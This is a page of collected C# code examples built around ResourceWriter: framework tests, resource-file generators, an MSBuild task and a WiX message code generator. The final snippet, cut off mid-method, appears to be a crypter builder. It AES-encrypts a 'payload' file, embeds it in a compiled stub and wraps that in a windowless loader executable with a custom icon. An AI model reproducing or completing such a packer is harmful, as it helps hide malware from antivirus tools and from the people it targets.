         WriteValues(myXmlTextWriter, bogusHeaders, formalFormats, culture, gregorian);
         WriteDataToResourceFile(fileFormalFormats, resWriter, culture, false, false);
         dateInfoCustomFormats = DateTimeFormatInfo.GetInstance(culture).GetAllDateTimePatterns();
         dupTable = new Hashtable();
         for(int i=0; i<dateInfoCustomFormats.Length; i++)
         {
             try
             {
                 dupTable.Add(dateInfoCustomFormats[i], null);
             }
             catch
             {
             }
         }
         dateInfoCustomFormats = new String[dupTable.Count];
         Int32 iTemp1=0;
         foreach(String strN in dupTable.Keys)
             dateInfoCustomFormats[iTemp1++] = strN;
         bogusHeaders = new String[dateInfoCustomFormats.Length];
         for(int i=0; i<bogusHeaders.Length; i++)
         {
             bogusHeaders[i] = "AA_" + i;
         }
         GenerateXmlSchema(bogusHeaders, fileDateTimePatterns, true, culture);
         if(calendars.ContainsKey(culture.LCID))
         {
             xmlwriter = File.CreateText(xmlDataFile  + "_" + fileDateTimePatterns + "_" + culture.ToString() + "_" + otherCalendarString + ".xml");
             myXmlTextWriter = new XmlTextWriter(xmlwriter);
             myXmlTextWriter.Formatting = Formatting.Indented;
             myXmlTextWriter.WriteStartElement("NewDataSet");
             WriteRealHeaders(myXmlTextWriter, bogusHeaders, dateInfoCustomFormats);
             WriteValues(myXmlTextWriter, bogusHeaders, dateInfoCustomFormats, culture, otherCalendar);
             WriteDataToResourceFile(fileDateTimePatterns, resWriter, culture, true, true);
         }
         xmlwriter = File.CreateText(xmlDataFile  + "_" + fileDateTimePatterns + "_" + culture.ToString() + ".xml");
         myXmlTextWriter = new XmlTextWriter(xmlwriter);
         myXmlTextWriter.Formatting = Formatting.Indented;
         myXmlTextWriter.WriteStartElement("NewDataSet");
         WriteRealHeaders(myXmlTextWriter, bogusHeaders, dateInfoCustomFormats);
         WriteValues(myXmlTextWriter, bogusHeaders, dateInfoCustomFormats, culture, gregorian);
         WriteDataToResourceFile(fileDateTimePatterns, resWriter, culture, true, false);
         bogusHeaders = new String[ourOwnCustomFormats.Length];
         for(int i=0; i<bogusHeaders.Length; i++)
         {
             bogusHeaders[i] = "AA_" + i;
         }
         if(iCul==0)
         {
             GenerateXmlSchema(bogusHeaders, fileCustomFormats, false, culture);
         }
         if(calendars.ContainsKey(culture.LCID))
         {
             xmlwriter = File.CreateText(xmlDataFile  + "_" + fileCustomFormats + "_" + culture.ToString() + "_" + otherCalendarString + ".xml");
             myXmlTextWriter = new XmlTextWriter(xmlwriter);
             myXmlTextWriter.Formatting = Formatting.Indented;
             myXmlTextWriter.WriteStartElement("NewDataSet");
             tempFormats = new String[ourOwnCustomFormats.Length];
             ourOwnCustomFormats.CopyTo(tempFormats, 0);
             for(int i=0; i<tempFormats.Length; i++)
             {
                 if(ourOwnCustomFormats[i]=="DD")
                     tempFormats[i] = tempFormats[i] + " ";
             }
             WriteRealHeaders(myXmlTextWriter, bogusHeaders, tempFormats);
             WriteValues(myXmlTextWriter, bogusHeaders, ourOwnCustomFormats, culture, otherCalendar);
             WriteDataToResourceFile(fileCustomFormats, resWriter, culture, false, true);
         }
         xmlwriter = File.CreateText(xmlDataFile  + "_" + fileCustomFormats + "_" + culture.ToString() + ".xml");
         myXmlTextWriter = new XmlTextWriter(xmlwriter);
         myXmlTextWriter.Formatting = Formatting.Indented;
         myXmlTextWriter.WriteStartElement("NewDataSet");
         tempFormats = new String[ourOwnCustomFormats.Length];
         ourOwnCustomFormats.CopyTo(tempFormats, 0);
         for(int i=0; i<tempFormats.Length; i++)
         {
             if(ourOwnCustomFormats[i]=="DD")
                 tempFormats[i] = tempFormats[i] + " ";
         }
         WriteRealHeaders(myXmlTextWriter, bogusHeaders, tempFormats);
         WriteValues(myXmlTextWriter, bogusHeaders, ourOwnCustomFormats, culture, gregorian);
         WriteDataToResourceFile(fileCustomFormats, resWriter, culture, false, false);
     }
     resWriter.Generate();
     resWriter.Close();
 }
 public bool runTest()
   {
   Console.WriteLine(s_strTFPath + " " + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
   int iCountErrors = 0;
   int iCountTestcases = 0;
   String strLoc = "Loc_000oo";
   String strValue = String.Empty;
   IDictionaryEnumerator idic;
   try
     {
     ResourceWriter resWriter;
     ResourceReader resReader;
     Stream stream = null;
     MemoryStream ms;
     FileStream fs;
     if(File.Exists(Environment.CurrentDirectory+"\\Co5445.resources"))
       File.Delete(Environment.CurrentDirectory+"\\Co5445.resources");
     strLoc = "Loc_20xcy";
     stream = null;
     iCountTestcases++;
     try {
     resWriter = new ResourceWriter(stream);
     iCountErrors++;
     printerr( "Error_29vc8! ArgumentNullException expected");
     } catch ( ArgumentNullException aExc) {
     } catch ( Exception exc) {
     iCountErrors++;
     printerr( "Error_10s9x! ArgumentNullException expected , got exc=="+exc.ToString());
     }
     strLoc = "Loc_3f98d";
     new FileStream("Co5445.resources", FileMode.Create).Close();
     fs = new FileStream("Co5445.resources", FileMode.Open, FileAccess.Read, FileShare.None);
     iCountTestcases++;
     try {
     resWriter = new ResourceWriter(fs);
     iCountErrors++;
     printerr( "Error_2c88s! ArgumentException expected");
     } catch (ArgumentException aExc) {
     } catch ( Exception exc) {
     iCountErrors++;
     printerr( "Error_2x0zu! ArgumentException expected, got exc=="+exc.ToString());
     }
     strLoc = "Loc_f0843";
     ms = new MemoryStream();
     resWriter = new ResourceWriter(ms);
     resWriter.AddResource("Harrison", "Ford");
     resWriter.AddResource("Mark", "Hamill");
     resWriter.Generate();
     ms.Position = 0;
     resReader = new ResourceReader(ms);
     idic = resReader.GetEnumerator();
     idic.MoveNext();
     iCountTestcases++;
     if(!idic.Value.Equals("Ford"))
       {
       iCountErrors++;
       printerr( "Error_2d0s9 Expected==Ford, value=="+idic.Value.ToString());
       }
     idic.MoveNext();
     iCountTestcases++;
     if(!idic.Value.Equals("Hamill"))
       {
       iCountErrors++;
       printerr( "Error_2ce80 Expected==Hamill, value=="+idic.Value.ToString());
       }
     strLoc = "Loc_20984";
     iCountTestcases++;
     if(idic.MoveNext())
       {
       iCountErrors++;
       printerr( "Error_f4094! Should have hit the end of the stream already");
       }
     fs.Close();
     strLoc = "Loc_04853fd";
     if(File.Exists(Environment.CurrentDirectory+"\\Co5445.resources"))
       File.Delete(Environment.CurrentDirectory+"\\Co5445.resources");
     } catch (Exception exc_general ) {
     ++iCountErrors;
     Console.WriteLine (s_strTFAbbrev + " : Error Err_8888yyy!  strLoc=="+ strLoc +", exc_general=="+exc_general.ToString());
     }
   if ( iCountErrors == 0 )
     {
     Console.WriteLine( "paSs. "+s_strTFName+" ,iCountTestcases=="+iCountTestcases.ToString());
     return true;
     }
   else
     {
     Console.WriteLine("FAiL! "+s_strTFName+" ,iCountErrors=="+iCountErrors.ToString()+" , BugNums?: "+s_strActiveBugNums );
     return false;
     }
   }
 private void DoThings()
   {
   String[] bogusHeaders;
   ResourceWriter resWriter;
   CultureInfo culture;
   NumberFormatInfo numInfo;
   StreamWriter xmlwriter;
   XmlTextWriter myXmlTextWriter;
   resWriter = new ResourceWriter(resourceBaseName + ".resources");
   resWriter.AddResource(resCultures, cultures);
   for(int iCul = 0; iCul<cultures.Length; iCul++){
   culture = cultures[iCul];			
   numInfo = NumberFormatInfo.GetInstance(culture);
   if(verbose)
     Console.WriteLine(culture);
   if(verbose)
     Console.WriteLine("Numerical values and its formats");
   bogusHeaders = new String[numericalFormats.Length];
   for(int i=0; i<bogusHeaders.Length; i++){
   bogusHeaders[i] = "AA_" + i;
   }
   if(iCul==0){
   GenerateXmlSchema(bogusHeaders, strInt);
   }
   xmlwriter = File.CreateText(xmlDataFile  + "_" + strInt + "_" + culture.ToString() + ".xml");
   myXmlTextWriter = new XmlTextWriter(xmlwriter);
   myXmlTextWriter.Formatting = Formatting.Indented;
   myXmlTextWriter.WriteStartElement("NewDataSet");
   WriteRealHeaders(myXmlTextWriter, bogusHeaders, numericalFormats);
   WriteValues(myXmlTextWriter, NumberType.Int, bogusHeaders, numericalFormats, numInfo);
   WriteDataToResourceFile(strInt, resWriter, culture);
   if(verbose)
     Console.WriteLine("Decimal values and its formats");
   bogusHeaders = new String[decimalFormats.Length];
   for(int i=0; i<bogusHeaders.Length; i++){
   bogusHeaders[i] = "AA_" + i;
   }
   if(iCul==0){
   GenerateXmlSchema(bogusHeaders, strDec);
   }
   xmlwriter = File.CreateText(xmlDataFile  + "_" + strDec + "_" + culture.ToString() + ".xml");
   myXmlTextWriter = new XmlTextWriter(xmlwriter);
   myXmlTextWriter.Formatting = Formatting.Indented;
   myXmlTextWriter.WriteStartElement("NewDataSet");
   WriteRealHeaders(myXmlTextWriter, bogusHeaders, decimalFormats);
   WriteValues(myXmlTextWriter, NumberType.Decimal, bogusHeaders, decimalFormats, numInfo);
   WriteDataToResourceFile(strDec, resWriter, culture);
   if(verbose)
     Console.WriteLine("Double values and its formats");
   bogusHeaders = new String[doubleFormats.Length];
   for(int i=0; i<bogusHeaders.Length; i++){
   bogusHeaders[i] = "AA_" + i;
   }
   if(iCul==0){
   GenerateXmlSchema(bogusHeaders, strDbl);
   }
   xmlwriter = File.CreateText(xmlDataFile  + "_" + strDbl + "_" + culture.ToString() + ".xml");
   myXmlTextWriter = new XmlTextWriter(xmlwriter);
   myXmlTextWriter.Formatting = Formatting.Indented;
   myXmlTextWriter.WriteStartElement("NewDataSet");
   WriteRealHeaders(myXmlTextWriter, bogusHeaders, doubleFormats);
   WriteValues(myXmlTextWriter, NumberType.Double, bogusHeaders, doubleFormats, numInfo);
   WriteDataToResourceFile(strDbl, resWriter, culture);
   if(verbose)
     Console.WriteLine("Picture values and its formats");
   GoDoPictureFormatting(culture, resWriter);						
   }
   resWriter.Generate();
   resWriter.Close();
   }
Ejemplo n.º 38
0
 public Boolean runTest()
   {
   Console.WriteLine(s_strTFPath + " " + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer);
   int iCountErrors = 0;
   int iCountTestcases = 0;
   String strLoc = "Loc_000oo";
   String strValue = String.Empty;
   Co5209AddResource_str_ubArr cc = new Co5209AddResource_str_ubArr();
   IDictionaryEnumerator idic;
   try {
   do
     {
     ResourceWriter resWriter;
     ResourceReader resReader;
     int statusBits = 0;
     int resultBits = 0;
     Byte[] ubArr = null;
     if(File.Exists(Environment.CurrentDirectory+"\\Co5209.resources"))
       File.Delete(Environment.CurrentDirectory+"\\Co5209.resources");
     strLoc = "Loc_204gh";
     resWriter = new ResourceWriter("Co5209.resources");
     strLoc = "Loc_209tj";
     try
       {
       iCountTestcases++;
       resWriter.AddResource(null, ubArr);
       iCountErrors++;
       printerr("Error_20fhs! Expected Exception not thrown");
       }
     catch (ArgumentException) {}
     catch (Exception exc)
       {
       iCountErrors++;
       printerr("Error_2t0jg! Unexpected exception exc=="+exc.ToString());
       }
     strLoc = "Loc_t4j80";
     ubArr = null;
     iCountTestcases++;
     try
       {
       resWriter.AddResource("key with null value", ubArr);
       }
     catch (Exception exc)
       {
       iCountErrors++;
       printerr("Error_59ufd! Unexpected exc=="+exc.ToString());
       }
     Byte[] ubArr1 = {(Byte)'v', (Byte)'a', (Byte)'l', (Byte)'u', (Byte)'e', (Byte)' ', (Byte)'1',};
     Byte[] ubArr2 = {(Byte)'v', (Byte)'a', (Byte)'l', (Byte)'u', (Byte)'e', (Byte)' ', (Byte)'2',};
     Byte[] ubArr3 = {(Byte)'v', (Byte)'a', (Byte)'l', (Byte)'u', (Byte)'e', (Byte)' ', (Byte)'3',};
     Byte[] ubArr4 = {(Byte)'v', (Byte)'a', (Byte)'l', (Byte)'u', (Byte)'e', (Byte)' ', (Byte)'4',};
     Byte[] ubArr5 = {(Byte)'v', (Byte)'a', (Byte)'l', (Byte)'u', (Byte)'e', (Byte)' ', (Byte)'5',};
     Byte[] ubArr6 = {(Byte)'v', (Byte)'a', (Byte)'l', (Byte)'u', (Byte)'e', (Byte)' ', (Byte)'6',};
     strLoc = "Loc_59ugd";
     resWriter.AddResource("key 1", ubArr1);
     resWriter.AddResource("key 2", ubArr2);
     resWriter.AddResource("key 3", ubArr3);
     resWriter.AddResource("key 4", ubArr4);
     resWriter.AddResource("key 5", ubArr5);
     resWriter.AddResource("key 6", ubArr6);
     strLoc = "Loc_230rj";
     iCountTestcases++;
     try
       {
       resWriter.AddResource("key 1", ubArr6);
       iCountErrors++;
       printerr("Error_2th8e! Names are not unique");
       }
     catch (ArgumentException) {}
     catch (Exception exc)
       {
       iCountErrors++;
       printerr("Error_298hg! Unexpected exception=="+exc.ToString());
       }
     resWriter.Generate();
     iCountTestcases++;
     if(!File.Exists(Environment.CurrentDirectory+"\\Co5209.resources"))
       {
       iCountErrors++;
       printerr("Error_23094! Expected file was not created");
       }
     resWriter.Close();
     strLoc = "Loc_30tud";
     resReader = new ResourceReader(Environment.CurrentDirectory+"\\Co5209.resources");
     strLoc = "Loc_0576cd";
     byte[] btTemp;
     Boolean fNotEqual;
     IDictionaryEnumerator resEnumerator = resReader.GetEnumerator();
     idic = resReader.GetEnumerator();
     while(idic.MoveNext())
       {
       if(idic.Key.Equals("key 1")) {
       btTemp = (byte[])idic.Value;
       fNotEqual = false;
       for(int i=0;i<btTemp.Length; i++) {
       if(btTemp[i]!=ubArr1[i])
	 fNotEqual = true;
       }
       if(!fNotEqual)
	 statusBits = statusBits | 0x1;
       } else if(idic.Key.Equals("key 2")) {
       btTemp = (byte[])idic.Value;
       fNotEqual = false;
       for(int i=0;i<btTemp.Length; i++) {
       if(btTemp[i]!=ubArr2[i])
	 fNotEqual = true;
       }
       if(!fNotEqual)
	 statusBits = statusBits | 0x2;
       } else if(idic.Key.Equals("key 3")) {
       btTemp = (byte[])idic.Value;
       fNotEqual = false;
       for(int i=0;i<btTemp.Length; i++) {
       if(btTemp[i]!=ubArr3[i])
	 fNotEqual = true;
       }
       if(!fNotEqual)
	 statusBits = statusBits | 0x4;
       } else if(idic.Key.Equals("key 4")) {
       btTemp = (byte[])idic.Value;
       fNotEqual = false;
       for(int i=0;i<btTemp.Length; i++) {
       if(btTemp[i]!=ubArr4[i])
	 fNotEqual = true;
       }
       if(!fNotEqual)
	 statusBits = statusBits | 0x8;
       } else if(idic.Key.Equals("key 5")) {
       btTemp = (byte[])idic.Value;
       fNotEqual = false;
       for(int i=0;i<btTemp.Length; i++) {
       if(btTemp[i]!=ubArr5[i])
	 fNotEqual = true;
       }
       if(!fNotEqual)
	 statusBits = statusBits | 0x10;
       } else if(idic.Key.Equals("key 6")) {
       btTemp = (byte[])idic.Value;
       fNotEqual = false;
       for(int i=0;i<btTemp.Length; i++) {
       if(btTemp[i]!=ubArr6[i])
	 fNotEqual = true;
       }
       if(!fNotEqual)
	 statusBits = statusBits | 0x20;
       }
       }
     resultBits = 0x1 | 0x2 | 0x4 | 0x8 | 0x10 | 0x20;
     iCountTestcases++;
     if(statusBits != resultBits)
       {
       iCountErrors++;
       printerr("Error_238fh! The names are incorrect, StatusBits=="+statusBits);
       }
     strLoc = "Loc_t0dds";
     iCountTestcases++;
     if(idic.MoveNext())
       {
       iCountErrors++;
       printerr("Error_2398r! , There shouldn't have been more elementes : GetValue=="+idic.Value);
       }
     resReader.Close();
     strLoc = "Loc_957fd";
     } while (false);
   } catch (Exception exc_general ) {
   ++iCountErrors;
   Console.WriteLine (s_strTFAbbrev + " : Error Err_8888yyy!  strLoc=="+ strLoc +", exc_general=="+exc_general);
   }
   if ( iCountErrors == 0 )
     {
     Console.WriteLine( "paSs.   "+s_strTFPath +" "+s_strTFName+" ,iCountTestcases=="+iCountTestcases);
     return true;
     }
   else
     {
     Console.WriteLine("FAiL!   "+s_strTFPath+" "+s_strTFName+" ,iCountErrors=="+iCountErrors+" , BugNums?: "+s_strActiveBugNums );
     return false;
     }
   }
Ejemplo n.º 39
0
 public static void Main(string[] args)
   {
   String fileName = "genstrings.resources";
   if(File.Exists(Environment.CurrentDirectory+"\\" + fileName))
     File.Delete(Environment.CurrentDirectory+"\\" + fileName);
						
   ResourceWriter writer = new ResourceWriter(fileName);
   writer.AddResource("English_Text", ReadTextFile("english.txt"));
   writer.AddResource("Japanese_Text", ReadTextFile("japanese.txt"));
   writer.AddResource("German_Text", ReadTextFile("german.txt"));
   writer.AddResource("Arabic_Text", ReadTextFile("arabic.txt"));
   writer.AddResource("Korean_Text", ReadTextFile("korean.txt"));
   writer.AddResource("ChineseTra_Text", ReadTextFile("chinesetra.txt"));
   writer.AddResource("ChineseSim_Text", ReadTextFile("chinesesim.txt"));
   writer.AddResource("Spanish_Text", ReadTextFile("spanish.txt"));
   writer.AddResource("Italian_Text", ReadTextFile("italian.txt"));
   writer.AddResource("French_Text", ReadTextFile("french.txt"));
   writer.AddResource("Turkish_Text", ReadTextFile("turkish.txt"));
   writer.AddResource("NorwegianBok_Text", ReadTextFile("norwegianbok.txt"));
   writer.AddResource("NorwegianNyn_Text", ReadTextFile("norwegiannyn.txt"));
   writer.Generate();
   writer.Close();					
   }
Ejemplo n.º 40
0
        public override bool Execute()
        {
            if (this.Sources == null)
            {
                return(true);
            }

            string solutionDir = null;

            this.BuildEngine7.GetGlobalProperties()?.TryGetValue("SolutionDir", out solutionDir);
            Uri solutionUri = (solutionDir == null) ? null : new Uri(Path.GetFullPath(solutionDir));

            foreach (ITaskItem item in this.Sources)
            {
                string restext = item.ItemSpec;
                try {
                    if (solutionUri != null)
                    {
                        Uri currentRestextUri = new Uri(Path.GetFullPath(restext));
                        if (!solutionUri.IsBaseOf(currentRestextUri))
                        {
                            this.Log.LogMessage(MessageImportance.Normal, $"Skipping {restext}, out of current solution folder.");
                            continue;
                        }
                    }

                    if (!File.Exists(restext))
                    {
                        this.Log.LogError($"Input file {restext} not found!");
                    }

                    string resources = Path.ChangeExtension(restext, ".resources");

                    this.Log.LogMessage($"Generating {resources} ...");
                    if (File.Exists(resources))
                    {
                        File.Delete(resources);
                    }
                    FileStream ous = new FileStream(resources, FileMode.OpenOrCreate, FileAccess.Write, FileShare.Read);
                    using ResourceWriter writer = new ResourceWriter(ous);
                    StreamReader reader = new StreamReader(restext);

                    string line = null;
                    long   lIdx = 0;
                    while (null != (line = reader.ReadLine()))
                    {
                        lIdx++;
                        int idx = line.IndexOf('=');
                        if (idx < 0)
                        {
                            this.Log.LogWarning($"Incorrect format at line: {lIdx}");
                            continue;
                        }
                        string key   = line.Substring(0, idx);
                        string value = line.Substring(Math.Min(idx + 1, line.Length));
                        try {
                            writer.AddResource(key, value);
                        } catch (Exception ex) {
                            throw new InvalidOperationException($"Failed adding resource {key} = {value}", ex);
                        }
                    }
                    writer.Generate();
                    ous.Flush();

                    if (!string.IsNullOrEmpty(this.DefaultCulture))
                    {
                        string noExtResources = Path.GetFileNameWithoutExtension(resources);
                        string culture        = Path.GetExtension(noExtResources);
                        string fileName       = Path.GetFileNameWithoutExtension(noExtResources);

                        if (string.Equals(culture, $".{this.DefaultCulture}", StringComparison.InvariantCultureIgnoreCase) && !string.IsNullOrEmpty(fileName))
                        {
                            string folder     = Path.GetDirectoryName(resources);
                            string targetPath = Path.Combine(folder, $"{fileName}.resources");
                            this.Log.LogMessage($"Generating {targetPath} ...");
                            if (File.Exists(targetPath))
                            {
                                File.Delete(targetPath);
                            }
                            File.Copy(resources, targetPath);
                        }
                    }
                } catch (Exception ex) {
                    this.Log.LogError($"Failed to compile {restext}");
                    this.Log.LogErrorFromException(ex);
                }
            }

            return(true);
        }
Ejemplo n.º 41
0
        /// <summary>
        /// Generate the message files.
        /// </summary>
        /// <param name="messagesDoc">Input Xml document containing message definitions.</param>
        /// <param name="codeCompileUnit">CodeDom container.</param>
        /// <param name="resourceWriter">Writer for default resource file.</param>
        public static void Generate(XmlDocument messagesDoc, CodeCompileUnit codeCompileUnit, ResourceWriter resourceWriter)
        {
            Hashtable usedNumbers = new Hashtable();

            if (null == messagesDoc)
            {
                throw new ArgumentNullException("messagesDoc");
            }

            if (null == codeCompileUnit)
            {
                throw new ArgumentNullException("codeCompileUnit");
            }

            if (null == resourceWriter)
            {
                throw new ArgumentNullException("resourceWriter");
            }

            string namespaceAttr = messagesDoc.DocumentElement.GetAttribute("Namespace");
            string resourcesAttr = messagesDoc.DocumentElement.GetAttribute("Resources");

            // namespace
            CodeNamespace messagesNamespace = new CodeNamespace(namespaceAttr);

            codeCompileUnit.Namespaces.Add(messagesNamespace);

            // imports
            messagesNamespace.Imports.Add(new CodeNamespaceImport("System"));
            messagesNamespace.Imports.Add(new CodeNamespaceImport("System.Reflection"));
            messagesNamespace.Imports.Add(new CodeNamespaceImport("System.Resources"));
            if (namespaceAttr != "Microsoft.Tools.WindowsInstallerXml")
            {
                messagesNamespace.Imports.Add(new CodeNamespaceImport("Microsoft.Tools.WindowsInstallerXml"));
            }

            foreach (XmlElement classElement in messagesDoc.DocumentElement.ChildNodes)
            {
                int    index             = -1;
                string className         = classElement.GetAttribute("Name");
                string baseContainerName = classElement.GetAttribute("BaseContainerName");
                string containerName     = classElement.GetAttribute("ContainerName");
                string levelType         = classElement.GetAttribute("LevelType");
                string startNumber       = classElement.GetAttribute("StartNumber");

                // automatically generate message numbers
                if (0 < startNumber.Length)
                {
                    index = Convert.ToInt32(startNumber, CultureInfo.InvariantCulture);
                }

                // message container class
                messagesNamespace.Types.Add(CreateContainer(namespaceAttr, baseContainerName, containerName, resourcesAttr));

                // class
                CodeTypeDeclaration messagesClass = new CodeTypeDeclaration(className);
                messagesNamespace.Types.Add(messagesClass);

                // messages
                foreach (XmlElement messageElement in classElement.ChildNodes)
                {
                    int    number;
                    string id                = messageElement.GetAttribute("Id");
                    string level             = messageElement.GetAttribute("Level");
                    string numberString      = messageElement.GetAttribute("Number");
                    bool   sourceLineNumbers = true;

                    // determine the message number (and ensure it was set properly)
                    if (0 > index) // manually specified message number
                    {
                        if (0 < numberString.Length)
                        {
                            number = Convert.ToInt32(numberString, CultureInfo.InvariantCulture);
                        }
                        else
                        {
                            throw new ApplicationException(String.Format("Message number must be assigned for {0} '{1}'.", containerName, id));
                        }
                    }
                    else // automatically generated message number
                    {
                        if (0 == numberString.Length)
                        {
                            number = index++;
                        }
                        else
                        {
                            throw new ApplicationException(String.Format("Message number cannot be assigned for {0} '{1}' since it will be automatically generated.", containerName, id));
                        }
                    }

                    // check for message number collisions
                    if (usedNumbers.Contains(number))
                    {
                        throw new ApplicationException(String.Format("Collision detected between two or more messages with number '{0}'.", number));
                    }
                    usedNumbers.Add(number, null);

                    if ("no" == messageElement.GetAttribute("SourceLineNumbers"))
                    {
                        sourceLineNumbers = false;
                    }

                    int instanceCount = 0;
                    foreach (XmlElement instanceElement in messageElement.ChildNodes)
                    {
                        string formatString = instanceElement.InnerText.Trim();
                        string resourceName = String.Concat(className, "_", id, "_", (++instanceCount).ToString());

                        // create a resource
                        resourceWriter.AddResource(resourceName, formatString);

                        // create method
                        CodeMemberMethod method = new CodeMemberMethod();
                        method.ReturnType = new CodeTypeReference(containerName);
                        method.Attributes = MemberAttributes.Public | MemberAttributes.Static;
                        messagesClass.Members.Add(method);

                        // method name
                        method.Name = id;

                        // return statement
                        CodeMethodReturnStatement stmt = new CodeMethodReturnStatement();
                        method.Statements.Add(stmt);

                        // return statement expression
                        CodeObjectCreateExpression expr = new CodeObjectCreateExpression();
                        stmt.Expression = expr;

                        // new struct
                        expr.CreateType = new CodeTypeReference(containerName);

                        // optionally have sourceLineNumbers as the first parameter
                        if (sourceLineNumbers)
                        {
                            // sourceLineNumbers parameter
                            expr.Parameters.Add(new CodeArgumentReferenceExpression("sourceLineNumbers"));
                        }
                        else
                        {
                            expr.Parameters.Add(new CodePrimitiveExpression(null));
                        }

                        // message number parameter
                        expr.Parameters.Add(new CodePrimitiveExpression(number));

                        // message level parameter (optional)
                        if (string.Empty != levelType)
                        {
                            if (string.Empty != level)
                            {
                                expr.Parameters.Add(new CodeCastExpression(typeof(int), new CodeArgumentReferenceExpression(String.Concat(levelType, ".", level))));
                            }
                            else
                            {
                                expr.Parameters.Add(new CodeCastExpression(typeof(int), new CodeArgumentReferenceExpression("level")));
                            }
                        }
                        else
                        {
                            expr.Parameters.Add(new CodePrimitiveExpression(-1));
                        }

                        // resource name parameter
                        expr.Parameters.Add(new CodePrimitiveExpression(resourceName));

                        // optionally have sourceLineNumbers as the first parameter
                        if (sourceLineNumbers)
                        {
                            method.Parameters.Add(new CodeParameterDeclarationExpression("SourceLineNumberCollection", "sourceLineNumbers"));
                        }

                        // message level parameter (optional)
                        if (string.Empty != levelType && string.Empty == level)
                        {
                            method.Parameters.Add(new CodeParameterDeclarationExpression(levelType, "level"));
                        }

                        foreach (XmlNode parameterNode in instanceElement.ChildNodes)
                        {
                            XmlElement parameterElement;

                            if (null != (parameterElement = parameterNode as XmlElement))
                            {
                                string type = parameterElement.GetAttribute("Type");
                                string name = parameterElement.GetAttribute("Name");

                                // method parameter
                                method.Parameters.Add(new CodeParameterDeclarationExpression(type, name));

                                // String.Format parameter
                                expr.Parameters.Add(new CodeArgumentReferenceExpression(name));
                            }
                        }
                    }
                }
            }
        }
    public static void Main(string[] args)
    {
        String fileName = "genstrings.resources";

        if (File.Exists(Environment.CurrentDirectory + "\\" + fileName))
        {
            File.Delete(Environment.CurrentDirectory + "\\" + fileName);
        }

        ResourceWriter writer = new ResourceWriter(fileName);

        writer.AddResource("English_Text", ReadTextFile("english.txt"));
        writer.AddResource("Japanese_Text", ReadTextFile("japanese.txt"));
        writer.AddResource("German_Text", ReadTextFile("german.txt"));
        writer.AddResource("Arabic_Text", ReadTextFile("arabic.txt"));
        writer.AddResource("Korean_Text", ReadTextFile("korean.txt"));
        writer.AddResource("ChineseTra_Text", ReadTextFile("chinesetra.txt"));
        writer.AddResource("ChineseSim_Text", ReadTextFile("chinesesim.txt"));
        writer.AddResource("Spanish_Text", ReadTextFile("spanish.txt"));
        writer.AddResource("Italian_Text", ReadTextFile("italian.txt"));
        writer.AddResource("French_Text", ReadTextFile("french.txt"));
        writer.AddResource("Turkish_Text", ReadTextFile("turkish.txt"));
        writer.AddResource("NorwegianBok_Text", ReadTextFile("norwegianbok.txt"));
        writer.AddResource("NorwegianNyn_Text", ReadTextFile("norwegiannyn.txt"));
        writer.Generate();
        writer.Close();
    }
Ejemplo n.º 43
0
        public string Compile()
        {
            string destinationIconPath = Environment.CurrentDirectory + "\\icon.ico";

            try
            {
                Directory.CreateDirectory(TempDirectory);
                string[] referencedAssemblies = new string[]
                {
                    "System.dll",
                    "System.Windows.Forms.dll",
                    "Microsoft.CSharp.dll",
                    "System.Dynamic.Runtime.dll",
                    "System.Core.dll",
                };
                Dictionary <string, string> providerOptions = new Dictionary <string, string>()
                {
                    { "CompilerVersion", "v4.0" }
                };

                #region Stub
                var compilerOptions = "/target:library /platform:x86 /optimize+";

                using (CSharpCodeProvider cSharpCodeProvider = new CSharpCodeProvider(providerOptions))
                {
                    CompilerParameters compilerParameters = new CompilerParameters(referencedAssemblies)
                    {
                        GenerateExecutable      = false,
                        OutputAssembly          = Path.Combine(TempDirectory, StubLib + ".dll"),
                        CompilerOptions         = compilerOptions,
                        TreatWarningsAsErrors   = false,
                        IncludeDebugInformation = false,
                        TempFiles = new TempFileCollection(TempDirectory, false),
                    };
                    using (ResourceWriter rw = new ResourceWriter(Path.Combine(TempDirectory, StubResourcesName + ".resources")))
                    {
                        rw.AddResource(PayloadResources, AES_Encrypt(File.ReadAllBytes(PayloadName)));
                        rw.Generate();
                    }
                    compilerParameters.EmbeddedResources.Add(Path.Combine(TempDirectory, StubResourcesName + ".resources"));

                    CompilerResults compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, Stub);
                    if (compilerResults.Errors.Count > 0)
                    {
                        foreach (CompilerError compilerError in compilerResults.Errors)
                        {
                            Debug.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
                                                          compilerError.Line, compilerError.Column, compilerError.FileName));
                            return(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
                                                 compilerError.Line, compilerError.Column, compilerError.FileName));
                        }
                    }
                }
                #endregion

                #region Loader
                compilerOptions = "/target:winexe /platform:x86 /optimize+";

                if (!string.IsNullOrWhiteSpace(this.AssemblyIcon))
                {
                    File.Copy(this.AssemblyIcon, destinationIconPath, true);
                    compilerOptions += $" /win32icon:\"{destinationIconPath}\"";
                }

                using (CSharpCodeProvider cSharpCodeProvider = new CSharpCodeProvider(providerOptions))
                {
                    CompilerParameters compilerParameters = new CompilerParameters(referencedAssemblies)
                    {
                        GenerateExecutable      = true,
                        OutputAssembly          = this.SaveFileName,
                        CompilerOptions         = compilerOptions,
                        TreatWarningsAsErrors   = false,
                        IncludeDebugInformation = false,
                        TempFiles = new TempFileCollection(TempDirectory, false),
                    };
                    using (ResourceWriter rw = new ResourceWriter(Path.Combine(TempDirectory, LoaderResourcesName + ".resources")))
                    {
                        rw.AddResource(StubLib, AES_Encrypt(File.ReadAllBytes(Path.Combine(TempDirectory, StubLib + ".dll"))));
                        rw.Generate();
                    }
                    compilerParameters.EmbeddedResources.Add(Path.Combine(TempDirectory, LoaderResourcesName + ".resources"));

                    CompilerResults compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, Loader);
                    if (compilerResults.Errors.Count > 0)
                    {
                        foreach (CompilerError compilerError in compilerResults.Errors)
                        {
                            Debug.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
                                                          compilerError.Line, compilerError.Column, compilerError.FileName));
                            return(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
                                                 compilerError.Line, compilerError.Column, compilerError.FileName));
                        }
                    }

                    if (File.Exists(destinationIconPath))
                    {
                        File.Delete(destinationIconPath);
                    }
